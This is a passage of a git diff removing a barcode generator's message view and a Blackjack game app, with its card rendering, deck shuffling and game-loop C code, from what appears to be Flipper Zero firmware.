create_view_object); - -void create_view_free_model(CreateView* create_view_object); - -void create_view_free(CreateView* create_view_object); - -View* create_get_view(CreateView* create_view_object); diff --git a/applications/external/barcode_gen/views/message_view.c b/applications/external/barcode_gen/views/message_view.c deleted file mode 100644 index 3a9aa90b3..000000000 --- a/applications/external/barcode_gen/views/message_view.c +++ /dev/null @@ -1,66 +0,0 @@ -#include "../barcode_app.h" -#include "message_view.h" - -static void app_draw_callback(Canvas* canvas, void* ctx) { - furi_assert(ctx); - - MessageViewModel* message_view_model = ctx; - - canvas_clear(canvas); - if(message_view_model->message != NULL) { - canvas_draw_str_aligned( - canvas, 62, 30, AlignCenter, AlignCenter, message_view_model->message); - } - - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 100, 52, 28, 12); - canvas_set_color(canvas, ColorWhite); - canvas_draw_str_aligned(canvas, 114, 58, AlignCenter, AlignCenter, "OK"); -} - -static bool app_input_callback(InputEvent* input_event, void* ctx) { - furi_assert(ctx); - - MessageView* message_view_object = ctx; - - if(input_event->key == InputKeyBack) { - view_dispatcher_switch_to_view( - message_view_object->barcode_app->view_dispatcher, MainMenuView); - } - if(input_event->type == InputTypeShort) { - if(input_event->key == InputKeyOk) { - view_dispatcher_switch_to_view( - message_view_object->barcode_app->view_dispatcher, MainMenuView); - } - } - - return true; -} - -MessageView* message_view_allocate(BarcodeApp* barcode_app) { - furi_assert(barcode_app); - - MessageView* message_view_object = malloc(sizeof(MessageView)); - - message_view_object->view = view_alloc(); - message_view_object->barcode_app = barcode_app; - - view_set_context(message_view_object->view, message_view_object); - view_allocate_model(message_view_object->view, ViewModelTypeLocking, sizeof(MessageViewModel)); - view_set_draw_callback(message_view_object->view, app_draw_callback); - view_set_input_callback(message_view_object->view, app_input_callback); - - return message_view_object; -} - -void message_view_free(MessageView* message_view_object) { - furi_assert(message_view_object); - - view_free(message_view_object->view); - free(message_view_object); -} - -View* message_get_view(MessageView* message_view_object) { - furi_assert(message_view_object); - return message_view_object->view; -} \ No newline at end of file diff --git a/applications/external/barcode_gen/views/message_view.h b/applications/external/barcode_gen/views/message_view.h deleted file mode 100644 index 33acc3d0c..000000000 --- a/applications/external/barcode_gen/views/message_view.h +++ /dev/null @@ -1,22 +0,0 @@ -#pragma once - -#include - -typedef struct BarcodeApp BarcodeApp; - -typedef struct { - View* view; - BarcodeApp* barcode_app; -} MessageView; - -typedef struct { - const char* message; -} MessageViewModel; - -MessageView* message_view_allocate(BarcodeApp* barcode_app); - -void message_view_free_model(MessageView* message_view_object); - -void message_view_free(MessageView* message_view_object); - -View* message_get_view(MessageView* message_view_object); diff --git a/applications/external/blackjack/application.fam b/applications/external/blackjack/application.fam deleted file mode 100644 index 271620d72..000000000 --- a/applications/external/blackjack/application.fam +++ /dev/null @@ -1,15 +0,0 @@ -App( - appid="blackjack", - name="Blackjack", - apptype=FlipperAppType.EXTERNAL, - entry_point="blackjack_app", - requires=["gui","storage","canvas"], - stack_size=2 * 1024, - order=30, - fap_icon="blackjack_10px.png", - fap_category="Games", - fap_icon_assets="assets", - fap_author="@teeebor", - fap_version="1.0", - fap_description="Blackjack Game", -) \ No newline at end of file diff --git a/applications/external/blackjack/assets/blackjack.png b/applications/external/blackjack/assets/blackjack.png deleted file mode 100644 index bb367f28e..000000000 Binary files a/applications/external/blackjack/assets/blackjack.png and /dev/null differ diff --git a/applications/external/blackjack/assets/card_graphics.png b/applications/external/blackjack/assets/card_graphics.png deleted file mode 100644 index 8b00e351f..000000000 Binary files a/applications/external/blackjack/assets/card_graphics.png and /dev/null differ diff --git a/applications/external/blackjack/assets/endscreen.png b/applications/external/blackjack/assets/endscreen.png deleted file mode 100644 index 7a3abc927..000000000 Binary files a/applications/external/blackjack/assets/endscreen.png and /dev/null differ diff --git a/applications/external/blackjack/blackjack.c b/applications/external/blackjack/blackjack.c deleted file mode 100644 index c4ef8d3a7..000000000 --- a/applications/external/blackjack/blackjack.c +++ /dev/null @@ -1,633 +0,0 @@ - -#include -#include -#include -#include -#include - -#include -#include "util.h" -#include "defines.h" -#include "common/card.h" -#include "common/dml.h" -#include "common/queue.h" -#include "util.h" -#include "ui.h" - -#include "blackjack_icons.h" - -#define DEALER_MAX 17 - -void start_round(GameState* game_state); - -void init(GameState* game_state); - -static void draw_ui(Canvas* const canvas, const GameState* game_state) { - draw_money(canvas, game_state->player_score); - - draw_score(canvas, true, hand_count(game_state->player_cards, game_state->player_card_count)); - - if(!game_state->queue_state.running && game_state->state == GameStatePlay) { - render_menu(game_state->menu, canvas, 2, 47); - } -} - -static void render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - const GameState* game_state = ctx; - furi_mutex_acquire(game_state->mutex, FuriWaitForever); - - canvas_set_color(canvas, ColorBlack); - canvas_draw_frame(canvas, 0, 0, 128, 64); - - if(game_state->state == GameStateStart) { - canvas_draw_icon(canvas, 0, 0, &I_blackjack); - } - if(game_state->state == GameStateGameOver) { - canvas_draw_icon(canvas, 0, 0, &I_endscreen); - } - - if(game_state->state == GameStatePlay || game_state->state == GameStateDealer) { - if(game_state->state == GameStatePlay) - draw_player_scene(canvas, game_state); - else - draw_dealer_scene(canvas, game_state); - render_queue(&(game_state->queue_state), game_state, canvas); - draw_ui(canvas, game_state); - } else if(game_state->state == GameStateSettings) { - settings_page(canvas, game_state); - } - - furi_mutex_release(game_state->mutex); -} - -//region card draw -Card draw_card(GameState* game_state) { - Card c = game_state->deck.cards[game_state->deck.index]; - game_state->deck.index++; - return c; -} - -void drawPlayerCard(void* ctx) { - GameState* game_state = ctx; - Card c = draw_card(game_state); - game_state->player_cards[game_state->player_card_count] = c; - game_state->player_card_count++; - if(game_state->player_score < game_state->settings.round_price || game_state->doubled) { - set_menu_state(game_state->menu, 0, false); - } -} - -void drawDealerCard(void* ctx) { - GameState* game_state = ctx; - Card c = draw_card(game_state); - game_state->dealer_cards[game_state->dealer_card_count] = c; - game_state->dealer_card_count++; -} -//endregion - -//region queue callbacks -void to_lose_state(const void* ctx, Canvas* const canvas) { - const GameState* game_state = ctx; - if(game_state->settings.message_duration == 0) return; - popup_frame(canvas); - elements_multiline_text_aligned(canvas, 64, 22, AlignCenter, AlignCenter, "You lost"); -} - -void to_bust_state(const void* ctx, Canvas* const canvas) { - const GameState* game_state = ctx; - if(game_state->settings.message_duration == 0) return; - popup_frame(canvas); - elements_multiline_text_aligned(canvas, 64, 22, AlignCenter, AlignCenter, "Busted!"); -} - -void to_draw_state(const void* ctx, Canvas* const canvas) { - const GameState* game_state = ctx; - if(game_state->settings.message_duration == 0) return; - popup_frame(canvas); - elements_multiline_text_aligned(canvas, 64, 22, AlignCenter, AlignCenter, "Draw"); -} - -void to_dealer_turn(const void* ctx, Canvas* const canvas) { - const GameState* game_state = ctx; - if(game_state->settings.message_duration == 0) return; - popup_frame(canvas); - elements_multiline_text_aligned(canvas, 64, 22, AlignCenter, AlignCenter, "Dealers turn"); -} - -void to_win_state(const void* ctx, Canvas* const canvas) { - const GameState* game_state = ctx; - if(game_state->settings.message_duration == 0) return; - popup_frame(canvas); - elements_multiline_text_aligned(canvas, 64, 22, AlignCenter, AlignCenter, "You win"); -} - -void to_start(const void* ctx, Canvas* const canvas) { - const GameState* game_state = ctx; - if(game_state->settings.message_duration == 0) return; - popup_frame(canvas); - elements_multiline_text_aligned(canvas, 64, 22, AlignCenter, AlignCenter, "Round started"); -} - -void before_start(void* ctx) { - GameState* game_state = ctx; - game_state->dealer_card_count = 0; - game_state->player_card_count = 0; -} - -void start(void* ctx) { - GameState* game_state = ctx; - start_round(game_state); -} - -void draw(void* ctx) { - GameState* game_state = ctx; - game_state->player_score += game_state->bet; - game_state->bet = 0; - enqueue( - &(game_state->queue_state), - game_state, - start, - before_start, - to_start, - game_state->settings.message_duration); -} - -void game_over(void* ctx) { - GameState* game_state = ctx; - game_state->state = GameStateGameOver; -} - -void lose(void* ctx) { - GameState* game_state = ctx; - game_state->state = GameStatePlay; - game_state->bet = 0; - if(game_state->player_score >= game_state->settings.round_price) { - enqueue( - &(game_state->queue_state), - game_state, - start, - before_start, - to_start, - game_state->settings.message_duration); - } else { - enqueue(&(game_state->queue_state), game_state, game_over, NULL, NULL, 0); - } -} - -void win(void* ctx) { - GameState* game_state = ctx; - game_state->state = GameStatePlay; - game_state->player_score += game_state->bet * 2; - game_state->bet = 0; - enqueue( - &(game_state->queue_state), - game_state, - start, - before_start, - to_start, - game_state->settings.message_duration); -} - -void dealerTurn(void* ctx) { - GameState* game_state = ctx; - game_state->state = GameStateDealer; -} - -float animationTime(const GameState* game_state) { - return (float)(furi_get_tick() - game_state->queue_state.start) / - (float)(game_state->settings.animation_duration); -} - -void dealer_card_animation(const void* ctx, Canvas* const canvas) { - const GameState* game_state = ctx; - float t = animationTime(game_state); - - Card animatingCard = game_state->deck.cards[game_state->deck.index]; - if(game_state->dealer_card_count > 1) { - Vector end = card_pos_at_index(game_state->dealer_card_count); - draw_card_animation(animatingCard, (Vector){0, 64}, (Vector){0, 32}, end, t, true, canvas); - } else { - draw_card_animation( - animatingCard, - (Vector){32, -CARD_HEIGHT}, - (Vector){64, 32}, - (Vector){2, 2}, - t, - false, - canvas); - } -} - -void dealer_back_card_animation(const void* ctx, Canvas* const canvas) { - const GameState* game_state = ctx; - float t = animationTime(game_state); - - Vector currentPos = - quadratic_2d((Vector){32, -CARD_HEIGHT}, (Vector){64, 32}, (Vector){13, 5}, t); - draw_card_back_at(currentPos.x, currentPos.y, canvas); -} - -void player_card_animation(const void* ctx, Canvas* const canvas) { - const GameState* game_state = ctx; - float t = animationTime(game_state); - - Card animatingCard = game_state->deck.cards[game_state->deck.index]; - Vector end = card_pos_at_index(game_state->player_card_count); - - draw_card_animation( - animatingCard, (Vector){32, -CARD_HEIGHT}, (Vector){0, 32}, end, t, true, canvas); -} -//endregion - -void player_tick(GameState* game_state) { - uint8_t score = hand_count(game_state->player_cards, game_state->player_card_count); - if((game_state->doubled && score <= 21) || score == 21) { - enqueue( - &(game_state->queue_state), - game_state, - dealerTurn, - NULL, - to_dealer_turn, - game_state->settings.message_duration); - } else if(score > 21) { - enqueue( - &(game_state->queue_state), - game_state, - lose, - NULL, - to_bust_state, - game_state->settings.message_duration); - } else { - if(game_state->selectDirection == DirectionUp || - game_state->selectDirection == DirectionDown) { - move_menu(game_state->menu, game_state->selectDirection == DirectionUp ? -1 : 1); - } - - if(game_state->selectDirection == Select) { - activate_menu(game_state->menu, game_state); - } - } -} - -void dealer_tick(GameState* game_state) { - uint8_t dealer_score = hand_count(game_state->dealer_cards, game_state->dealer_card_count); - uint8_t player_score = hand_count(game_state->player_cards, game_state->player_card_count); - - if(dealer_score >= DEALER_MAX) { - if(dealer_score > 21 || dealer_score < player_score) { - dolphin_deed(DolphinDeedPluginGameWin); - enqueue( - &(game_state->queue_state), - game_state, - win, - NULL, - to_win_state, - game_state->settings.message_duration); - } else if(dealer_score > player_score) { - enqueue( - &(game_state->queue_state), - game_state, - lose, - NULL, - to_lose_state, - game_state->settings.message_duration); - } else if(dealer_score == player_score) { - enqueue( - &(game_state->queue_state), - game_state, - draw, - NULL, - to_draw_state, - game_state->settings.message_duration); - } - } else { - enqueue( - &(game_state->queue_state), - game_state, - drawDealerCard, - NULL, - dealer_card_animation, - game_state->settings.animation_duration); - } -} - -void settings_tick(GameState* game_state) { - if(game_state->selectDirection == DirectionDown && game_state->selectedMenu < 4) { - game_state->selectedMenu++; - } - if(game_state->selectDirection == DirectionUp && game_state->selectedMenu > 0) { - game_state->selectedMenu--; - } - - if(game_state->selectDirection == DirectionLeft || - game_state->selectDirection == DirectionRight) { - int nextScore = 0; - switch(game_state->selectedMenu) { - case 0: - nextScore = game_state->settings.starting_money; - if(game_state->selectDirection == DirectionLeft) - nextScore -= 10; - else - nextScore += 10; - if(nextScore >= (int)game_state->settings.round_price && nextScore < 400) - game_state->settings.starting_money = nextScore; - break; - case 1: - nextScore = game_state->settings.round_price; - if(game_state->selectDirection == DirectionLeft) - nextScore -= 10; - else - nextScore += 10; - if(nextScore >= 5 && nextScore <= (int)game_state->settings.starting_money) - game_state->settings.round_price = nextScore; - break; - case 2: - nextScore = game_state->settings.animation_duration; - if(game_state->selectDirection == DirectionLeft) - nextScore -= 100; - else - nextScore += 100; - if(nextScore >= 0 && nextScore < 2000) - game_state->settings.animation_duration = nextScore; - break; - case 3: - nextScore = game_state->settings.message_duration; - if(game_state->selectDirection == DirectionLeft) - nextScore -= 100; - else - nextScore += 100; - if(nextScore >= 0 && nextScore < 2000) - game_state->settings.message_duration = nextScore; - break; - case 4: - game_state->settings.sound_effects = !game_state->settings.sound_effects; - default: - break; - } - } -} - -void tick(GameState* game_state) { - game_state->last_tick = furi_get_tick(); - bool queue_ran = run_queue(&(game_state->queue_state), game_state); - - switch(game_state->state) { - case GameStateGameOver: - case GameStateStart: - if(game_state->selectDirection == Select) - init(game_state); - else if(game_state->selectDirection == DirectionRight) { - game_state->selectedMenu = 0; - game_state->state = GameStateSettings; - } - break; - case GameStatePlay: - if(!game_state->started) { - game_state->selectedMenu = 0; - game_state->started = true; - enqueue( - &(game_state->queue_state), - game_state, - drawDealerCard, - NULL, - dealer_back_card_animation, - game_state->settings.animation_duration); - enqueue( - &(game_state->queue_state), - game_state, - drawPlayerCard, - NULL, - player_card_animation, - game_state->settings.animation_duration); - enqueue( - &(game_state->queue_state), - game_state, - drawDealerCard, - NULL, - dealer_card_animation, - game_state->settings.animation_duration); - enqueue( - &(game_state->queue_state), - game_state, - drawPlayerCard, - NULL, - player_card_animation, - game_state->settings.animation_duration); - } - if(!queue_ran) player_tick(game_state); - break; - case GameStateDealer: - if(!queue_ran) dealer_tick(game_state); - break; - case GameStateSettings: - settings_tick(game_state); - break; - default: - break; - } - - game_state->selectDirection = None; -} - -void start_round(GameState* game_state) { - game_state->menu->current_menu = 1; - game_state->player_card_count = 0; - game_state->dealer_card_count = 0; - set_menu_state(game_state->menu, 0, true); - game_state->menu->enabled = true; - game_state->started = false; - game_state->doubled = false; - game_state->queue_state.running = true; - shuffle_deck(&(game_state->deck)); - game_state->doubled = false; - game_state->bet = game_state->settings.round_price; - if(game_state->player_score < game_state->settings.round_price) { - game_state->state = GameStateGameOver; - } else { - game_state->player_score -= game_state->settings.round_price; - } - game_state->state = GameStatePlay; -} - -void init(GameState* game_state) { - set_menu_state(game_state->menu, 0, true); - game_state->menu->enabled = true; - game_state->menu->current_menu = 1; - game_state->settings = load_settings(); - game_state->last_tick = 0; - game_state->processing = true; - game_state->selectedMenu = 0; - game_state->player_score = game_state->settings.starting_money; - generate_deck(&(game_state->deck), 6); - start_round(game_state); -} - -static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - AppEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void update_timer_callback(FuriMessageQueue* event_queue) { - furi_assert(event_queue); - AppEvent event = {.type = EventTypeTick}; - furi_message_queue_put(event_queue, &event, 0); -} - -void doubleAction(void* state) { - GameState* game_state = state; - if(!game_state->doubled && game_state->player_score >= game_state->settings.round_price) { - game_state->player_score -= game_state->settings.round_price; - game_state->bet += game_state->settings.round_price; - game_state->doubled = true; - enqueue( - &(game_state->queue_state), - game_state, - drawPlayerCard, - NULL, - player_card_animation, - game_state->settings.animation_duration); - game_state->player_cards[game_state->player_card_count] = - game_state->deck.cards[game_state->deck.index]; - uint8_t score = hand_count(game_state->player_cards, game_state->player_card_count + 1); - if(score > 21) { - enqueue( - &(game_state->queue_state), - game_state, - lose, - NULL, - to_bust_state, - game_state->settings.message_duration); - } else { - enqueue( - &(game_state->queue_state), - game_state, - dealerTurn, - NULL, - to_dealer_turn, - game_state->settings.message_duration); - } - set_menu_state(game_state->menu, 0, false); - } -} - -void hitAction(void* state) { - GameState* game_state = state; - enqueue( - &(game_state->queue_state), - game_state, - drawPlayerCard, - NULL, - player_card_animation, - game_state->settings.animation_duration); -} -void stayAction(void* state) { - GameState* game_state = state; - enqueue( - &(game_state->queue_state), - game_state, - dealerTurn, - NULL, - to_dealer_turn, - game_state->settings.message_duration); -} - -int32_t blackjack_app(void* p) { - UNUSED(p); - - int32_t return_code = 0; - - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(AppEvent)); - - GameState* game_state = malloc(sizeof(GameState)); - game_state->menu = malloc(sizeof(Menu)); - game_state->menu->menu_width = 40; - init(game_state); - add_menu(game_state->menu, "Double", doubleAction); - add_menu(game_state->menu, "Hit", hitAction); - add_menu(game_state->menu, "Stay", stayAction); - set_card_graphics(&I_card_graphics); - - game_state->state = GameStateStart; - - game_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!game_state->mutex) { - FURI_LOG_E(APP_NAME, "cannot create mutex\r\n"); - return_code = 255; - goto free_and_exit; - } - - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, render_callback, game_state); - view_port_input_callback_set(view_port, input_callback, event_queue); - - FuriTimer* timer = furi_timer_alloc(update_timer_callback, FuriTimerTypePeriodic, event_queue); - furi_timer_start(timer, furi_kernel_get_tick_frequency() / 25); - - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - AppEvent event; - - // Call dolphin deed on game start - dolphin_deed(DolphinDeedPluginGameStart); - - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - furi_mutex_acquire(game_state->mutex, FuriWaitForever); - if(event_status == FuriStatusOk) { - if(event.type == EventTypeKey) { - if(event.input.type == InputTypePress) { - switch(event.input.key) { - case InputKeyUp: - game_state->selectDirection = DirectionUp; - break; - case InputKeyDown: - game_state->selectDirection = DirectionDown; - break; - case InputKeyRight: - game_state->selectDirection = DirectionRight; - break; - case InputKeyLeft: - game_state->selectDirection = DirectionLeft; - break; - case InputKeyBack: - if(game_state->state == GameStateSettings) { - game_state->state = GameStateStart; - save_settings(game_state->settings); - } else - processing = false; - break; - case InputKeyOk: - game_state->selectDirection = Select; - break; - default: - break; - } - } - } else if(event.type == EventTypeTick) { - tick(game_state); - processing = game_state->processing; - } - } - view_port_update(view_port); - furi_mutex_release(game_state->mutex); - } - - furi_timer_free(timer); - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_mutex_free(game_state->mutex); - -free_and_exit: - free(game_state->deck.cards); - free_menu(game_state->menu); - queue_clear(&(game_state->queue_state)); - free(game_state); - furi_message_queue_free(event_queue); - - return return_code; -} \ No newline at end of file diff --git a/applications/external/blackjack/blackjack_10px.png b/applications/external/blackjack/blackjack_10px.png deleted file mode 100644 index 7382d6358..000000000 Binary files a/applications/external/blackjack/blackjack_10px.png and /dev/null differ diff --git a/applications/external/blackjack/common/card.c b/applications/external/blackjack/common/card.c deleted file mode 100644 index 88228fda4..000000000 --- a/applications/external/blackjack/common/card.c +++ /dev/null @@ -1,353 +0,0 @@ -#include "card.h" -#include "dml.h" -#include "ui.h" - -#define CARD_DRAW_X_START 108 -#define CARD_DRAW_Y_START 38 -#define CARD_DRAW_X_SPACE 10 -#define CARD_DRAW_Y_SPACE 8 -#define CARD_DRAW_X_OFFSET 4 -#define CARD_DRAW_FIRST_ROW_LENGTH 7 - -uint8_t pips[4][3] = { - {21, 10, 7}, //spades - {7, 10, 7}, //hearts - {0, 10, 7}, //diamonds - {14, 10, 7}, //clubs -}; -uint8_t letters[13][3] = { - {0, 0, 5}, - {5, 0, 5}, - {10, 0, 5}, - {15, 0, 5}, - {20, 0, 5}, - {25, 0, 5}, - {30, 0, 5}, - {0, 5, 5}, - {5, 5, 5}, - {10, 5, 5}, - {15, 5, 5}, - {20, 5, 5}, - {25, 5, 5}, -}; - -//region Player card positions -uint8_t playerCardPositions[22][4] = { - //first row - {108, 38}, - {98, 38}, - {88, 38}, - {78, 38}, - {68, 38}, - {58, 38}, - {48, 38}, - {38, 38}, - //second row - {104, 26}, - {94, 26}, - {84, 26}, - {74, 26}, - {64, 26}, - {54, 26}, - {44, 26}, - //third row - {99, 14}, - {89, 14}, - {79, 14}, - {69, 14}, - {59, 14}, - {49, 14}, -}; -//endregion -Icon* card_graphics = NULL; - -void set_card_graphics(const Icon* graphics) { - card_graphics = (Icon*)graphics; -} - -void draw_card_at_colored( - int8_t pos_x, - int8_t pos_y, - uint8_t pip, - uint8_t character, - bool inverted, - Canvas* const canvas) { - DrawMode primary = inverted ? Black : White; - DrawMode secondary = inverted ? White : Black; - draw_rounded_box(canvas, pos_x, pos_y, CARD_WIDTH, CARD_HEIGHT, primary); - draw_rounded_box_frame(canvas, pos_x, pos_y, CARD_WIDTH, CARD_HEIGHT, Black); - - uint8_t* drawInfo = pips[pip]; - uint8_t px = drawInfo[0], py = drawInfo[1], s = drawInfo[2]; - - uint8_t left = pos_x + 2; - uint8_t right = (pos_x + CARD_WIDTH - s - 2); - uint8_t top = pos_y + 2; - uint8_t bottom = (pos_y + CARD_HEIGHT - s - 2); - - draw_icon_clip(canvas, card_graphics, right, top, px, py, s, s, secondary); - draw_icon_clip_flipped(canvas, card_graphics, left, bottom, px, py, s, s, secondary); - - drawInfo = letters[character]; - px = drawInfo[0], py = drawInfo[1], s = drawInfo[2]; - left = pos_x + 2; - right = (pos_x + CARD_WIDTH - s - 2); - top = pos_y + 2; - bottom = (pos_y + CARD_HEIGHT - s - 2); - - draw_icon_clip(canvas, card_graphics, left, top + 1, px, py, s, s, secondary); - draw_icon_clip_flipped(canvas, card_graphics, right, bottom - 1, px, py, s, s, secondary); -} - -void draw_card_at(int8_t pos_x, int8_t pos_y, uint8_t pip, uint8_t character, Canvas* const canvas) { - draw_card_at_colored(pos_x, pos_y, pip, character, false, canvas); -} - -void draw_deck(const Card* cards, uint8_t count, Canvas* const canvas) { - for(int i = count - 1; i >= 0; i--) { - draw_card_at( - playerCardPositions[i][0], - playerCardPositions[i][1], - cards[i].pip, - cards[i].character, - canvas); - } -} - -Vector card_pos_at_index(uint8_t index) { - return (Vector){playerCardPositions[index][0], playerCardPositions[index][1]}; -} - -void draw_card_back_at(int8_t pos_x, int8_t pos_y, Canvas* const canvas) { - draw_rounded_box(canvas, pos_x, pos_y, CARD_WIDTH, CARD_HEIGHT, White); - draw_rounded_box_frame(canvas, pos_x, pos_y, CARD_WIDTH, CARD_HEIGHT, Black); - - draw_icon_clip(canvas, card_graphics, pos_x + 1, pos_y + 1, 35, 0, 15, 21, Black); -} - -void generate_deck(Deck* deck_ptr, uint8_t deck_count) { - uint16_t counter = 0; - if(deck_ptr->cards != NULL) { - free(deck_ptr->cards); - } - - deck_ptr->deck_count = deck_count; - deck_ptr->card_count = deck_count * 52; - deck_ptr->cards = malloc(sizeof(Card) * deck_ptr->card_count); - - for(uint8_t deck = 0; deck < deck_count; deck++) { - for(uint8_t pip = 0; pip < 4; pip++) { - for(uint8_t label = 0; label < 13; label++) { - deck_ptr->cards[counter] = (Card){pip, label, false, false}; - counter++; - } - } - } -} - -void shuffle_deck(Deck* deck_ptr) { - srand(DWT->CYCCNT); - deck_ptr->index = 0; - int max = deck_ptr->deck_count * 52; - for(int i = 0; i < max; i++) { - int r = i + (rand() % (max - i)); - Card tmp = deck_ptr->cards[i]; - deck_ptr->cards[i] = deck_ptr->cards[r]; - deck_ptr->cards[r] = tmp; - } -} - -uint8_t hand_count(const Card* cards, uint8_t count) { - uint8_t aceCount = 0; - uint8_t score = 0; - - for(uint8_t i = 0; i < count; i++) { - if(cards[i].character == 12) - aceCount++; - else { - if(cards[i].character > 8) - score += 10; - else - score += cards[i].character + 2; - } - } - - for(uint8_t i = 0; i < aceCount; i++) { - if((score + 11 + (aceCount - 1)) <= 21) - score += 11; - else - score++; - } - - return score; -} - -void draw_card_animation( - Card animatingCard, - Vector from, - Vector control, - Vector to, - float t, - bool extra_margin, - Canvas* const canvas) { - float time = t; - if(extra_margin) { - time += 0.2; - } - - Vector currentPos = quadratic_2d(from, control, to, time); - if(t > 1) { - draw_card_at( - currentPos.x, currentPos.y, animatingCard.pip, animatingCard.character, canvas); - } else { - if(t < 0.5) - draw_card_back_at(currentPos.x, currentPos.y, canvas); - else - draw_card_at( - currentPos.x, currentPos.y, animatingCard.pip, animatingCard.character, canvas); - } -} - -void init_hand(Hand* hand_ptr, uint8_t count) { - hand_ptr->cards = malloc(sizeof(Card) * count); - hand_ptr->index = 0; - hand_ptr->max = count; -} - -void free_hand(Hand* hand_ptr) { - FURI_LOG_D("CARD", "Freeing hand"); - free(hand_ptr->cards); -} - -void add_to_hand(Hand* hand_ptr, Card card) { - FURI_LOG_D("CARD", "Adding to hand"); - if(hand_ptr->index < hand_ptr->max) { - hand_ptr->cards[hand_ptr->index] = card; - hand_ptr->index++; - } -} - -void draw_card_space(int16_t pos_x, int16_t pos_y, bool highlighted, Canvas* const canvas) { - if(highlighted) { - draw_rounded_box_frame(canvas, pos_x, pos_y, CARD_WIDTH, CARD_HEIGHT, Black); - draw_rounded_box_frame( - canvas, pos_x + 2, pos_y + 2, CARD_WIDTH - 4, CARD_HEIGHT - 4, White); - } else { - draw_rounded_box(canvas, pos_x, pos_y, CARD_WIDTH, CARD_HEIGHT, Black); - draw_rounded_box_frame( - canvas, pos_x + 2, pos_y + 2, CARD_WIDTH - 4, CARD_HEIGHT - 4, White); - } -} - -int first_non_flipped_card(Hand hand) { - for(int i = 0; i < hand.index; i++) { - if(!hand.cards[i].flipped) { - return i; - } - } - return hand.index; -} - -void draw_hand_column( - Hand hand, - int16_t pos_x, - int16_t pos_y, - int8_t highlight, - Canvas* const canvas) { - if(hand.index == 0) { - draw_card_space(pos_x, pos_y, highlight > 0, canvas); - if(highlight == 0) - draw_rounded_box(canvas, pos_x, pos_y, CARD_WIDTH, CARD_HEIGHT, Inverse); - return; - } - - int loopEnd = hand.index; - int hStart = max(loopEnd - 4, 0); - int pos = 0; - int first = first_non_flipped_card(hand); - bool wastop = false; - if(first >= 0 && first <= hStart && highlight != first) { - if(first > 0) { - draw_card_back_at(pos_x, pos_y + pos, canvas); - pos += 4; - hStart++; - wastop = true; - } - draw_card_at_colored( - pos_x, pos_y + pos, hand.cards[first].pip, hand.cards[first].character, false, canvas); - pos += 8; - hStart++; - } - if(hStart > highlight && highlight >= 0) { - if(!wastop && first > 0) { - draw_card_back_at(pos_x, pos_y + pos, canvas); - pos += 4; - hStart++; - } - draw_card_at_colored( - pos_x, - pos_y + pos, - hand.cards[highlight].pip, - hand.cards[highlight].character, - true, - canvas); - pos += 8; - hStart++; - } - for(int i = hStart; i < loopEnd; i++, pos += 4) { - if(hand.cards[i].flipped) { - draw_card_back_at(pos_x, pos_y + pos, canvas); - if(i == highlight) - draw_rounded_box( - canvas, pos_x + 1, pos_y + pos + 1, CARD_WIDTH - 2, CARD_HEIGHT - 2, Inverse); - } else { - draw_card_at_colored( - pos_x, - pos_y + pos, - hand.cards[i].pip, - hand.cards[i].character, - (i == highlight), - canvas); - if(i == highlight || i == first) pos += 4; - } - } -} - -Card remove_from_deck(uint16_t index, Deck* deck) { - FURI_LOG_D("CARD", "Removing from deck"); - Card result = {0, 0, true, false}; - if(deck->card_count > 0) { - deck->card_count--; - for(int i = 0, curr_index = 0; i <= deck->card_count; i++) { - if(i != index) { - deck->cards[curr_index] = deck->cards[i]; - curr_index++; - } else { - result = deck->cards[i]; - } - } - if(deck->index >= 0) { - deck->index--; - } - } - return result; -} - -void extract_hand_region(Hand* hand, Hand* to, uint8_t start_index) { - FURI_LOG_D("CARD", "Extracting hand region"); - if(start_index >= hand->index) return; - - for(uint8_t i = start_index; i < hand->index; i++) { - add_to_hand(to, hand->cards[i]); - } - hand->index = start_index; -} - -void add_hand_region(Hand* to, Hand* from) { - FURI_LOG_D("CARD", "Adding hand region"); - if((to->index + from->index) <= to->max) { - for(int i = 0; i < from->index; i++) { - add_to_hand(to, from->cards[i]); - } - } -} diff --git a/applications/external/blackjack/common/card.h b/applications/external/blackjack/common/card.h deleted file mode 100644 index 8e5e23bbf..000000000 --- a/applications/external/blackjack/common/card.h +++ /dev/null @@ -1,192 +0,0 @@ -#pragma once - -#include -#include -#include -#include "dml.h" - -#define CARD_HEIGHT 23 -#define CARD_HALF_HEIGHT 11 -#define CARD_WIDTH 17 -#define CARD_HALF_WIDTH 8 - -//region types -typedef struct { - uint8_t pip; //Pip index 0:spades, 1:hearths, 2:diamonds, 3:clubs - uint8_t character; //Card letter [0-12], 0 means 2, 12 is Ace - bool disabled; - bool flipped; -} Card; - -typedef struct { - uint8_t deck_count; //Number of decks used - Card* cards; //Cards in the deck - int card_count; - int index; //Card index (to know where we at in the deck) -} Deck; - -typedef struct { - Card* cards; //Cards in the deck - uint8_t index; //Current index - uint8_t max; //How many cards we want to store -} Hand; -//endregion - -void set_card_graphics(const Icon* graphics); - -/** - * Gets card coordinates at the index (range: 0-20). - * - * @param index Index to check 0-20 - * @return Position of the card - */ -Vector card_pos_at_index(uint8_t index); - -/** - * Draws card at a given coordinate (top-left corner) - * - * @param pos_x X position - * @param pos_y Y position - * @param pip Pip index 0:spades, 1:hearths, 2:diamonds, 3:clubs - * @param character Letter [0-12] 0 is 2, 12 is A - * @param canvas Pointer to Flipper's canvas object - */ -void draw_card_at(int8_t pos_x, int8_t pos_y, uint8_t pip, uint8_t character, Canvas* const canvas); - -/** - * Draws card at a given coordinate (top-left corner) - * - * @param pos_x X position - * @param pos_y Y position - * @param pip Pip index 0:spades, 1:hearths, 2:diamonds, 3:clubs - * @param character Letter [0-12] 0 is 2, 12 is A - * @param inverted Invert colors - * @param canvas Pointer to Flipper's canvas object - */ -void draw_card_at_colored( - int8_t pos_x, - int8_t pos_y, - uint8_t pip, - 